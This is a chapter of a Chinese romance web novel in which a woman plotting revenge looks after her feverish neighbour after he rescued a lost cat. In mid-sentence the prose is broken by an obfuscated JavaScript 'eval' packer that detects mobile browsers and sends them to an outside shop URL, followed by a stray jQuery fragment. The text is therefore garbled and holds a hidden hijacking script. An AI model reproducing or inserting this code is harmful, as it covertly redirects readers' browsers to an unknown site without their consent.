因为这个倒霉的天使话题,奚湜在电梯间里灵魂出窍了好一会儿。
直到和林佑鹤分道扬镳各回各家,她才颇为可惜地想起——忘记把目标人物拐到自己家睡一觉的事情了。
那算了。
下次吧。
奚湜按亮客厅的灯,落地窗边有一张长达一米八的办公桌。
桌腿旁放着两支喝空的红酒瓶,桌面上有一个喝空的咖啡杯和一沓文胸设计稿。
她走过去摸了摸画稿上的花纹,指腹沾染上一点铅笔痕迹,灰扑扑的,非常像她记忆里夏天的颜色。
其实奚湜出门去剧院前没有吃晚饭,她经常不知饥饱,对食物没什么需求。上一次像正常人一样用餐,应该还是半个月前在林佑鹤家里吃了他亲手做的松茸鸡汤米线和南瓜蒸排骨。
之后的每天究竟靠什么食物活着奚湜自己也记不清了。
窗外的雪越飘越大。
夜深人静,奚湜忽然想起林佑鹤唇角的伤——血痂凝成深深的红褐色,红肿在冷白色的皮肤上十分明显。
夹在学校和同事间为学生出头吗?
好像是很不聪明的做法啊。
奚湜拿起手机,给林佑鹤发微信:
【嘴角的伤口小心别碰水。】
【谢谢你的舞台剧,晚安。】
出乎意料的是,直到夜里一点多林佑鹤都没有回复过。
隔天早晨九点多钟,奚湜在半梦半醒的状态里隐约听到门外的嘈杂。
她在睡裙外面裹了一条披肩,走到门边,按亮电子猫眼:
林佑鹤家门前站了好几个人,是穿保安服和穿物业马甲的物业工作人员。
“林先生——”
一个工作人员敲敲门:“林先生,您在家吗林先生?”
奚湜眉心一蹙,压着把手推开门,还没来得及问发生了什么事,对面的防盗门已经被林佑鹤从里面推开。
林佑鹤穿着宽大的白色短袖和浅灰色长裤站在门口,平整的宽肩把软趴趴的家居服也撑得挺拔利落,他抬手推了推镜框,对着门前的三四个人说了声“上午好”。
奚湜的眉心渐渐舒展开,不动声色地抱臂靠在门边看热闹。
工作人员高高兴兴地说:“打扰您了林先生,我们昨天啊......”
林佑鹤似是在听他们说话,目光却越过人群,隔着几米的距离和奚湜对视。
奚湜安静地抬了一下眉梢。
之前走丢布偶猫的那户人家又不小心把猫给放跑了,那家人不说自己大意反,而要追究物业的责任。
据说是因为《物业服务合同》里承诺了二十四小时监控和保安巡逻,有个地方的摄像头坏了,那家人说这是找不到猫的关键,闹着让物业赔偿买猫的钱。
那只布偶猫很昂贵。
物业实在没办法了,只能在业主群里问有没有人看见过。
工作人员说:“这次多亏您帮忙找到那只猫,否则不知道要出多少乱子。听说您受伤,我们来送点药和水果。”
奚湜的指尖一下一下敲在手臂上。
听保安和物业的工作人员的意思,昨晚林佑鹤没回复信息,是冒雪跑出去找猫了?
林佑鹤连连摆手:“我这不是昨晚伤的。”
保安把东西往林佑鹤怀里推:“哎呀!您客气什么!”
林佑鹤只收下了印着社区医院名称的家庭急救药箱,水果则是让保安和物业工作人员带回去自己吃。
等人走后,林佑鹤才走到奚湜面前诚恳地向她解释,说自己昨天看到她的微信时已经很晚了,想着让她好好休息怕吵醒她才没回复。
林佑鹤说:“今天又是星期六,我不太确定奚小姐几点钟起床所以没好打扰。”
他顿了顿,“昨晚睡得好吗?”
说完偏过头掩唇咳嗽了好几声。
“还行。”
奚湜问:“你着凉了?”
林佑鹤温和地笑了笑:“可能吧。不会传染的,别担心。”
林佑鹤咳完的嗓音有些沙哑。
奚湜瞧着他疲惫而温柔的脸和他身上单薄而柔软的家居服套装,总觉得眼前这个人现在更容易睡到了。
然后林佑鹤就说:“我煮了粥,奚小姐要是没吃早餐的话,要过来我家一起喝点吗?”
奚湜不动声色地收回落在林佑鹤唇角血痂上的视线,笑着说:“去生病的人家里蹭饭感觉很罪恶呀。”
林佑鹤哑声笑着:“普通着凉而已。”
雪已经停了,天还没晴,窗外有种阴沉沉湿漉漉的感觉。
奚湜喝着粥,问:“怎么想起帮忙去找猫的?”
林佑鹤有些无奈地摇头:“那户人家看起来不太想找了,只想要赔款;物业的人怨声载道,应该也不会认真去找那只可怜的小动物。外面的风雪那么大......”
他沙哑地叹了一口气,没再继续说下去。
奚湜神色微妙地盯着林佑鹤看了一会儿。
不愧是教堂附近长大的。
她没告诉林佑鹤,那种会三番五次把宠物弄丢且满脑子只想着赔款的家庭,即便找回了宠物也不会好好对待它的。
林佑鹤问:“怎么这样看我?”
奚湜忽然抬起手碰了碰林佑鹤的额头。
林佑鹤温柔地问奚湜:“我发烧了吗?”
奚湜点头:“好像是。”
也许是因为刚刚发现林佑鹤生病时的声音也很好听,也许是因为他帮了学生还救了猫,也许是因为吃了人家带病熬的米粥,饭后奚湜在林佑鹤家里多待了一会儿。
她看着他吃了一颗退烧药,打探情报的问题简直是信手拈来的:“你还加了业主群吗?”
林佑鹤仰头咽下温水和药片,毫不怀疑地老老实实道:“是朋友拉我进去的。”
林佑鹤说陈忱常年在国外学习生活,很多事情处理起来不方便,即便以后林佑鹤要搬走,也还是可以帮陈忱分担一些国内的琐事的。
奚湜若有所思:“你朋友是个什么样的人?”
林佑鹤想了想:“有些傻,扶老人过马路被讹过很多钱。”
离开林佑鹤家里时奚湜的情绪有些复杂。
她根本不认识陈忱这个人,想报复的对象也只有陈麟田一个。
她曾经不可避免地对因陈麟田而有着优渥生活的陈忱有过很多迁怒和怨怼......
如果可以靠林佑鹤接近陈麟田,那么她就可以避免接触和伤害陈忱。
陈忱毕竟是无辜的。
但,林佑鹤才是最无辜的人吧?
奚湜想着这些,慢慢走向次卧,推开门。朴素的陶瓷骨灰盒安静地摆在窗台上,独自面对着阴沉沉的天色。
它那么小。
却装得下曾经独自扛起了整个家的老人。
谁不无辜?
奚湜的五脏六腑重新冷下来,把那些有的没的甩出脑海,她已经错过一次机会了,不能再重蹈覆辙。
她按照林佑鹤的口味下单了皮蛋瘦肉粥和清蒸鲈鱼等口味清淡的食物,在中午时带着它们去敲林佑鹤的门。
奚湜穿了一条看起来就很好抱的柔软的针织连衣裙,顶着一脸温婉可人的妆容:“投桃报李,林先生我来还早餐的一饭之情了。”
林佑鹤的视线在奚湜的脸上停留过片刻,才开口问:“要不要一起吃?”
奚湜颇为可惜地摇摇头:“我还有事,明天再来看你。”
林佑鹤失望得明明白白:“好。”
奚湜转身往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618230|206117||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外走:“早日康复~”
在奚湜看来普通着凉是很容易痊愈的,她又不是没生病过,只需要吃两顿退烧药就能恢复生龙活虎的状态。
她打算等林佑鹤稍微好一些再去看他。
最好带一份适合探望老人的昂贵礼品,借口说是朋友送来的,自己留着没用,问他有没有熟识的长辈可以送,免得那么贵的东西留在家里可惜地白白浪费掉。
林佑鹤会去见陈麟田吗?
如果去......
她可以开他的车送他去。
这个计划是有成功的几率的,只是奚湜没想到林佑鹤的病情会加重。
隔天,她把自己捯饬成一张精致的画皮跑去敲对面的防盗门。
林佑鹤没开门却打来了电话。
奚湜狐疑地接起电话——
“奚小姐,不好意思。”
林佑鹤的嗓音简直是哑得一塌糊涂,那声音又脆弱又私密,奚湜把手机贴在耳边都觉得听得耳廓要着火了。
奚湜的计划还没来得及开展就夭折,不怎么开心地做戏:“我......还是进去看看你吧。”
林佑鹤在电话里说了防盗门的密码,让奚湜自己开门进来。
他家里到处拉着窗帘,窗子也没开,昏暗,暖烘烘的,弥漫着林佑鹤身上常能嗅到的淡淡的清香和感冒冲剂的甜苦味,有种说不清道不明的暧昧感。
奚湜在昏暗里走进林佑鹤的卧室,他刚撑着床垫坐起来、按亮床头灯。
等看清他的样子时她都愣了一下。
林佑鹤好像很严重,连眼皮都烧红了,咳嗽着说抱歉。
奚湜实在是想不通,像她这种从来不注重生活品质和所谓的养生的人着凉吃药都能痊愈,为什么林佑鹤一个每天按时三餐、作息规律还有腹肌的男人会因为一点点着凉而病成这样?
不过林佑鹤病得挺好看的。
只不过生起病来有些固执。
林佑鹤不肯去医院,也不肯吃饭,说是没有嗅觉和味觉,只用温水喝过一次药又仰头躺进床里迷迷糊糊地睡过去了。
奚湜蹲在床边,借着床头灯朦胧的光线看着林佑鹤微微蹙眉的模样。
她盯着他,细品,感觉自己好像也不是很为计划失败的事情生气。
奚湜在爬床和回家里做了第三个选择,她摘掉林佑鹤的眼镜放在床头,又关了床头灯,从他的卧室里退出来,在他家的沙发上睡着了。
等奚湜在窗帘密闭四合的昏暗中醒来的时候,林佑鹤卧室里还是没有一丝动静。
奚湜不喜欢这种明明有人在家却听不到声音的安静,走进卧室,在床边俯身,想探探林佑鹤的额头。
林佑鹤悄无声息地睁开眼睛,忽然握住了奚湜伸过去的小臂。
林佑鹤的掌心很烫。
无端惹人心慌。
奚湜静了一瞬才说:“你感觉怎么样?”
林佑鹤把奚湜的手臂拉到面前,坐起来,闻了闻她的手腕内侧:“好了。”
温热的气息落在奚湜的皮肤上,她半边身子都开始发麻:“你根本就没退烧......”
林佑鹤浑然不觉地用鼻尖轻轻蹭了蹭奚湜的脉搏处:“能闻到你的香水味了。”
卧室里陷入静谧。
林佑鹤病态的呼吸太烫,奚湜只觉得一股微小的电流顺着手腕内侧的脉搏攀升到后颈。
她自认为道德品质一般,完全不介意在完成计划的同时和对胃口的目标人物发生点什么。
正当奚湜开始思考,要不要趁人之危时,林佑鹤忽然又松开了她的手腕。
昏暗里响起细微的轻响,林佑鹤大概是把眼镜戴上了。
随后他按亮床头灯,揉着太阳穴说:“奚小姐一直没走吗?”